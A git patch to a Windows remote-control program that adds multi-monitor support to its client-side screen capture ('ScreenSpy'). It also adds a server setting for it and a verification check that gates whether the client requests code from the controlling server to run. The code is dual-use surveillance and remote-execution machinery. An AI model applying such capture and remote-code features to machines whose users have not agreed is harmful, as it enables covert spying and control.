From 468918494eb7f2eb6fb62bc764bd9711be96eaeb Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Wed, 16 Jul 2025 04:26:01 +0800 Subject: [PATCH] feature: Remote desktop support multi monitor --- client/KernelManager.cpp | 2 +- client/ScreenCapture.h | 43 ++++++++++++++++------------ client/ScreenCapturerDXGI.h | 2 +- client/ScreenManager.cpp | 10 ++++--- client/ScreenSpy.cpp | 6 ++-- client/ScreenSpy.h | 2 +- common/commands.h | 3 ++ server/2015Remote/2015Remote.rc | Bin 88820 -> 89304 bytes server/2015Remote/2015RemoteDlg.cpp | 3 +- server/2015Remote/SettingDlg.cpp | 23 ++++++++++++++- server/2015Remote/SettingDlg.h | 2 ++ server/2015Remote/resource.h | Bin 44154 -> 44338 bytes 12 files changed, 66 insertions(+), 30 deletions(-) diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 0dbb2bc..d38cb72 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -268,7 +268,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (find == m_MemDLL.end() && ulLength == sz) { iniFile cfg(CLIENT_PATH); auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5")); - if (md5.empty() || md5 != info->Md5) { + if (md5.empty() || md5 != info->Md5 || !m_conn->IsVerified()) { // 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码 m_ClientObject->Send2Server((char*)szBuffer, ulLength); break; diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index 3b8d394..007a336 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -96,8 +96,8 @@ public: LPBITMAPINFO m_BitmapInfor_Full; // BMP信息 BYTE m_bAlgorithm; // 屏幕差异算法 - ULONG m_iScreenX; // 起始x坐标 - ULONG m_iScreenY; // 起始y坐标 + int m_iScreenX; // 起始x坐标 + int m_iScreenY; // 起始y坐标 ULONG m_ulFullWidth; // 屏幕宽 ULONG m_ulFullHeight; // 屏幕高 bool m_bZoomed; // 屏幕被缩放 @@ -110,7 +110,7 @@ public: bool m_SendKeyFrame; // 发送关键帧 CX264Encoder *m_encoder; // 编码器 - ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF) : + ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE) : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr), m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_SendQuality(100), m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1), @@ -120,21 +120,28 @@ public: m_BlockNum = 8; m_ThreadPool = new ThreadPool(m_BlockNum); - //::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)获取屏幕大小不准 - //例如当屏幕显示比例为125%时,获取到的屏幕大小需要乘以1.25才对 - DEVMODE devmode; - memset(&devmode, 0, sizeof(devmode)); - devmode.dmSize = sizeof(DEVMODE); - devmode.dmDriverExtra = 0; - BOOL Isgetdisplay = EnumDisplaySettingsA(NULL, ENUM_CURRENT_SETTINGS, &devmode); - m_ulFullWidth = devmode.dmPelsWidth; - m_ulFullHeight = devmode.dmPelsHeight; - int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN); - m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight); - m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h; - Mprintf("=> 桌面缩放比例: %.2f, %.2f\t分辨率:%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight); - m_wZoom = 1.0 / m_wZoom, m_hZoom = 1.0 / m_hZoom; - + if (all) + { + m_iScreenX = GetSystemMetrics(SM_XVIRTUALSCREEN); + m_iScreenY = GetSystemMetrics(SM_YVIRTUALSCREEN); + m_ulFullWidth = GetSystemMetrics(SM_CXVIRTUALSCREEN); + m_ulFullHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN); + } else { + //::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)获取屏幕大小不准 + //例如当屏幕显示比例为125%时,获取到的屏幕大小需要乘以1.25才对 + DEVMODE devmode; + memset(&devmode, 0, sizeof(devmode)); + devmode.dmSize = sizeof(DEVMODE); + devmode.dmDriverExtra = 0; + BOOL Isgetdisplay = EnumDisplaySettingsA(NULL, ENUM_CURRENT_SETTINGS, &devmode); + m_ulFullWidth = devmode.dmPelsWidth; + m_ulFullHeight = devmode.dmPelsHeight; + int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN); + m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight); + m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h; + Mprintf("=> 桌面缩放比例: %.2f, %.2f\t分辨率:%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight); + m_wZoom = 1.0 / m_wZoom, m_hZoom = 1.0 / m_hZoom; + } if (ALGORITHM_H264 == m_bAlgorithm) { m_encoder = new CX264Encoder(); diff --git a/client/ScreenCapturerDXGI.h b/client/ScreenCapturerDXGI.h index 961f711..2774167 100644 --- a/client/ScreenCapturerDXGI.h +++ b/client/ScreenCapturerDXGI.h @@ -22,7 +22,7 @@ private: BYTE* m_NextBuffer = nullptr; public: - ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(32, algo) { + ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all) { m_GOP = gop; InitDXGI(); Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP); diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 899e101..9d4997e 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -132,11 +132,13 @@ void CScreenManager::InitScreenSpy() { int DXGI = USING_GDI; BYTE algo = ALGORITHM_DIFF; BYTE* user = (BYTE*)m_ptrUser; - if (!(user == NULL || (int)user == 1)) { + BOOL all = FALSE; + if (!(user == NULL || ((int)user) == 1)) { UserParam* param = (UserParam*)user; if (param) { DXGI = param->buffer[0]; algo = param->length > 1 ? param->buffer[1] : algo; + all = param->length > 2 ? param->buffer[2] : all; delete param; } } @@ -170,19 +172,19 @@ void CScreenManager::InitScreenSpy() { if ((USING_DXGI == DXGI && IsWindows8orHigher())) { - auto s = new ScreenCapturerDXGI(algo); + auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all); if (s->IsInitSucceed()) { m_ScreenSpyObject = s; } else { SAFE_DELETE(s); - m_ScreenSpyObject = new CScreenSpy(32, algo); + m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all); Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n"); } } else { - m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL); + m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all); } } diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index 4dcbfa7..45dcc68 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -11,8 +11,8 @@ // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop) : - ScreenCapture(ulbiBitCount, algo) +CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all) : + ScreenCapture(ulbiBitCount, algo, all) { m_GOP = gop; @@ -114,7 +114,7 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei } AUTO_TICK(70); #if COPY_ALL - BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY); + BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, m_iScreenX, m_iScreenY, SRCCOPY); #else const ULONG ulJumpLine = 50; const ULONG ulJumpSleep = ulJumpLine / 10; diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h index 5f45217..b4154ca 100644 --- a/client/ScreenSpy.h +++ b/client/ScreenSpy.h @@ -83,7 +83,7 @@ protected: EnumHwndsPrintData m_data; public: - CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP); + CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE); virtual ~CScreenSpy(); diff --git a/common/commands.h b/common/commands.h index 254d088..2437bf3 100644 --- a/common/commands.h +++ b/common/commands.h @@ -599,6 +599,9 @@ public: return superAdmin == 7057226198541618915 ? iHeaderEnc : 0; #endif } + bool IsVerified() const { + return superAdmin && (superAdmin % 313) == 0; + } int FlagLen() const { return strlen(szFlag); } diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 3b1834cc3189ba70d66198d1820ba3d0ac6ea675..3f769669d52ecd12a2d62c3a74a0c2bf732358de 100644 GIT binary patch delta 388 zcmeyemG#C>)(r=gnT;6?CIf460}L3KXaN8~%~wkR delta 101 zcmcbyll9A1)(r=gS&bMh7|bU-Rvet%rm}+3Z1TpU$jJx%*_e$OKy2yB=d_eIpHod> zW;SCm*=(rU%E)LqIa|ka@&_$5ppe1jjTVlJv$Po*O*UuitY)5kpjoV0z-YUG5#tFh E09Ilm@c;k- diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index e5528e9..fd98a51 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1371,8 +1371,9 @@ VOID CMy2015RemoteDlg::OnOnlineWindowManager() VOID CMy2015RemoteDlg::OnOnlineDesktopManager() { int n = THIS_CFG.GetInt("settings", "DXGI"); + BOOL all = THIS_CFG.GetInt("settings", "MultiScreen"); CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str(); - BYTE bToken[32] = { COMMAND_SCREEN_SPY, n, algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString())}; + BYTE bToken[32] = { COMMAND_SCREEN_SPY, n, algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString()), all}; SendSelectedCommand(bToken, sizeof(bToken)); } diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp index 200f2a7..5d1ee3f 100644 --- a/server/2015Remote/SettingDlg.cpp +++ b/server/2015Remote/SettingDlg.cpp @@ -55,6 +55,8 @@ BEGIN_MESSAGE_MAP(CSettingDlg, CDialog) ON_BN_CLICKED(IDC_BUTTON_SETTINGAPPLY, &CSettingDlg::OnBnClickedButtonSettingapply) ON_EN_CHANGE(IDC_EDIT_PORT, &CSettingDlg::OnEnChangeEditPort) ON_EN_CHANGE(IDC_EDIT_MAX, &CSettingDlg::OnEnChangeEditMax) + ON_BN_CLICKED(IDC_RADIO_ALL_SCREEN, &CSettingDlg::OnBnClickedRadioAllScreen) + ON_BN_CLICKED(IDC_RADIO_MAIN_SCREEN, &CSettingDlg::OnBnClickedRadioMainScreen) END_MESSAGE_MAP() @@ -119,7 +121,9 @@ BOOL CSettingDlg::OnInitDialog() m_sSoftwareDetect = "摄像头"; break; } - + BOOL all = THIS_CFG.GetInt("settings", "MultiScreen"); + ((CButton*)GetDlgItem(IDC_RADIO_ALL_SCREEN))->SetCheck(!all); + ((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->SetCheck(all); UpdateData(FALSE); return TRUE; @@ -144,6 +148,9 @@ void CSettingDlg::OnBnClickedButtonSettingapply() n = m_ComboSoftwareDetect.GetCurSel(); THIS_CFG.SetInt("settings", "SoftwareDetect", n); + BOOL all = ((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->GetCheck(); + THIS_CFG.SetInt("settings", "MultiScreen", all); + m_ApplyButton.EnableWindow(FALSE); m_ApplyButton.ShowWindow(SW_HIDE); } @@ -184,3 +191,17 @@ void CSettingDlg::OnOK() CDialog::OnOK(); } + + +void CSettingDlg::OnBnClickedRadioAllScreen() +{ + BOOL b = ((CButton*)GetDlgItem(IDC_RADIO_ALL_SCREEN))->GetCheck(); + ((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->SetCheck(!b); +} + + +void CSettingDlg::OnBnClickedRadioMainScreen() +{ + BOOL b = ((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->GetCheck(); + ((CButton*)GetDlgItem(IDC_RADIO_ALL_SCREEN))->SetCheck(!b); +} diff --git a/server/2015Remote/SettingDlg.h b/server/2015Remote/SettingDlg.h index e1d0329..87410d6 100644 --- a/server/2015Remote/SettingDlg.h +++ b/server/2015Remote/SettingDlg.h @@ -38,4 +38,6 @@ public: CString m_sSoftwareDetect; CEdit m_EditPublicIP; CString m_sPublicIP; + afx_msg void OnBnClickedRadioAllScreen(); + afx_msg void OnBnClickedRadioMainScreen(); }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 3bb368625ec32752832ff178cbef60d591998f13..6a892f28d9111f1c863a586ec3527f9051cc762b 100644 GIT binary patch delta 92 zcmex$gK5((rVT6|lO1B&_#GKs7(5yL8R8in8GIOgCd(?SPyUd@GWo}9iOCOQxC9aM kzCab841Pcrs$dmMgk>fhEEd`<*6~DnvXX$